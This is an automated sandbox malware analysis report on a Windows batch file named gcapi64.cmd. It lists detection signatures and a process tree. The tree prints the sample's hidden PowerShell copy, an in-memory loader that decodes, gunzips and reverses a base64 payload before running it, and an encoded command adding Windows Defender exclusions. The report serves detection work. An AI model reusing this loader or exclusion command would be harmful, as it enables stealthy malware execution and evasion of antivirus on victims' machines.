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Windows
Analysis Report
gcapi64.cmd
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
.NET source code contains potential unpacker
AI detected suspicious sample
Creates a thread in another existing process (thread injection)
Drops VBS files to the startup folder
Encrypted powershell cmdline option found
Loading BitLocker PowerShell Module
Powershell is started from unusual location (likely to bypass HIPS)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: WScript or CScript Dropper
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses cmd line tools excessively to alter registry or file data
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- cmd.exe (PID: 7444 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\gcapi 64.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7452 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7496 cmdline:
C:\Windows \system32\ cmd.exe /S /D /c" ec ho F " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - xcopy.exe (PID: 7504 cmdline:
xcopy /d / q /y /h /i C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe C :\Users\us er\Desktop \gcapi64.c md.Kwj MD5: 39FBFD3AF58238C6F9D4D408C9251FF5) - attrib.exe (PID: 7528 cmdline:
attrib +s +h C:\User s\user\Des ktop\gcapi 64.cmd.Kwj MD5: 5037D8E6670EF1D89FB6AD435F12A9FD) - gcapi64.cmd.Kwj (PID: 7544 cmdline:
C:\Users\u ser\Deskto p\gcapi64. cmd.Kwj -W indowStyle hidden -c ommand "$T cvpdxwib = get-conte nt 'C:\Use rs\user\De sktop\gcap i64.cmd' | Select-Ob ject -Last 1; $Eyukt r = [Syste m.Convert] ::FromBase 64String($ Tcvpdxwib) ;$Qtrqzlhp xt = New-O bject Syst em.IO.Memo ryStream( , $Eyuktr );$Ibywdtd u = New-Ob ject Syste m.IO.Memor yStream;$R eymjtc = N ew-Object System.IO. Compressio n.GzipStre am $Qtrqzl hpxt, ([IO .Compressi on.Compres sionMode]: :Decompres s);$Reymjt c.CopyTo( $Ibywdtdu );$Reymjtc .Close();$ Qtrqzlhpxt .Close();[ byte[]] $E yuktr = $I bywdtdu.To Array();[A rray]::Rev erse($Eyuk tr); $Xxwi ev = [Syst em.Threadi ng.Thread] ::GetDomai n().Load($ Eyuktr); $ Krabry = $ Xxwiev.Ent ryPoint; [ System.Del egate]::Cr eateDelega te([Action ], $Krabry .Declaring Type, $Kra bry.Name). DynamicInv oke() | Ou t-Null" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7760 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -enc QQBkA GQALQBNAHA AUAByAGUAZ gBlAHIAZQB uAGMAZQAgA C0ARQB4AGM AbAB1AHMAa QBvAG4AUAB hAHQAaAAgA EMAOgBcAFU AcwBlAHIAc wBcAGoAbwB uAGUAcwBcA EQAZQBzAGs AdABvAHAAX ABnAGMAYQB wAGkANgA0A C4AYwBtAGQ AOwAgAEEAZ ABkAC0ATQB wAFAAcgBlA GYAZQByAGU AbgBjAGUAI AAtAEUAeAB jAGwAdQBzA GkAbwBuAFA AcgBvAGMAZ QBzAHMAIAB DADoAXABVA HMAZQByAHM AXABqAG8Ab gBlAHMAXAB EAGUAcwBrA HQAbwBwAFw AZwBjAGEAc ABpADYANAA uAGMAbQBkA DsAQQBkAGQ ALQBNAHAAU AByAGUAZgB lAHIAZQBuA GMAZQAgAC0 ARQB4AGMAb AB1AHMAaQB vAG4AUABhA HQAaAAgAEM AOgBcAFUAc wBlAHIAcwB cAGoAbwBuA GUAcwBcAEE AcABwAEQAY QB0AGEAXAB SAG8AYQBtA GkAbgBnAFw AZwBjAGEAc ABpADYANAA uAGMAbQBkA DsAIABBAGQ AZAAtAE0Ac ABQAHIAZQB mAGUAcgBlA G4AYwBlACA ALQBFAHgAY wBsAHUAcwB pAG8AbgBQA HIAbwBjAGU AcwBzACAAQ wA6AFwAVQB zAGUAcgBzA FwAagBvAG4 AZQBzAFwAQ QBwAHAARAB hAHQAYQBcA FIAbwBhAG0 AaQBuAGcAX ABnAGMAYQB wAGkANgA0A C4AYwBtAGQ A MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7768 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WmiPrvSE.exe (PID: 7928 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - InstallUtil.exe (PID: 8052 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\I nstallUtil .exe" MD5: 909A1D386235DD5F6BA61B91BA34119D) - conhost.exe (PID: 8064 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- wscript.exe (PID: 1852 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\Micro soft\Windo ws\Start M enu\Progra ms\Startup \gcapi64.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 5216 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Roami ng\gcapi64 .cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7092 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 1004 cmdline:
C:\Windows \system32\ cmd.exe /S /D /c" ec ho F " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - xcopy.exe (PID: 7340 cmdline:
xcopy /d / q /y /h /i C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe C :\Users\us er\AppData \Roaming\g capi64.cmd .Kwj MD5: 39FBFD3AF58238C6F9D4D408C9251FF5) - attrib.exe (PID: 1516 cmdline:
attrib +s +h C:\User s\user\App Data\Roami ng\gcapi64 .cmd.Kwj MD5: 5037D8E6670EF1D89FB6AD435F12A9FD) - gcapi64.cmd.Kwj (PID: 2640 cmdline:
C:\Users\u ser\AppDat a\Roaming\ gcapi64.cm d.Kwj -Win dowStyle h idden -com mand "$Tcv pdxwib = g et-content 'C:\Users \user\AppD ata\Roamin g\gcapi64. cmd' | Sel ect-Object -Last 1; $Eyuktr = [System.Co nvert]::Fr omBase64St ring($Tcvp dxwib);$Qt rqzlhpxt = New-Objec t System.I O.MemorySt ream( , $E yuktr );$I bywdtdu = New-Object System.IO .MemoryStr eam;$Reymj tc = New-O bject Syst em.IO.Comp ression.Gz ipStream $ Qtrqzlhpxt , ([IO.Com pression.C ompression Mode]::Dec ompress);$ Reymjtc.Co pyTo( $Iby wdtdu );$R eymjtc.Clo se();$Qtrq zlhpxt.Clo se();[byte []] $Eyukt r = $Ibywd tdu.ToArra y();[Array ]::Reverse ($Eyuktr); $Xxwiev = [System.T hreading.T hread]::Ge tDomain(). Load($Eyuk tr); $Krab ry = $Xxwi ev.EntryPo int; [Syst em.Delegat e]::Create Delegate([ Action], $ Krabry.Dec laringType , $Krabry. Name).Dyna micInvoke( ) | Out-Nu ll" MD5: 04029E121A0CFA5991749937DD22A1D9) - InstallUtil.exe (PID: 2004 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\I nstallUtil .exe" MD5: 909A1D386235DD5F6BA61B91BA34119D) - conhost.exe (PID: 4428 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
Windows_Trojan_Donutloader_f40e3759 | unknown | unknown |
| |
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
Click to see the 18 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
Click to see the 11 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |